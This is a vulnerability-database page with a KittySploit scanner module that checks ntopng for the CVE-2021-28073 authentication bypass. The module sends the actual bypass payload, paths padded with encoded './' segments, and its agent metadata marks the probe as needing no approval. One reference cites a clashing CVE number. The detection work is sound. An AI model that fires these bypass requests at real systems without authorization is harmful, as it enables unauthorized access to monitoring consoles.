Ntopng Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
| CVE-2021-28073 | 27 Apr 202309:58 | – | circl | |
| CVE-2021-28073 | 18 Nov 202321:50 | – | cve | |
| Ntopng Authentication Bypass | 4 Feb 202607:00 | – | nuclei | |
| ntopng < 4.2.210427 Information Disclosure Vulnerability - Active Check | 10 May 202100:00 | – | openvas |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ntopng Authentication Bypass Detection',
'description': 'Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'ntopng', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2021-27573',
'http://noahblog.360.cn/ntopng-multiple-vulnerabilities/',
'https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md',
],
'cve': 'CVE-2021-28073',
}
def run(self):
for path in ('/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css', '/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"results":', '"name":', '"tab":',)
header_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='critical',
reason="Ntopng Authentication Bypass detected",
path=path,
)
return True
return False
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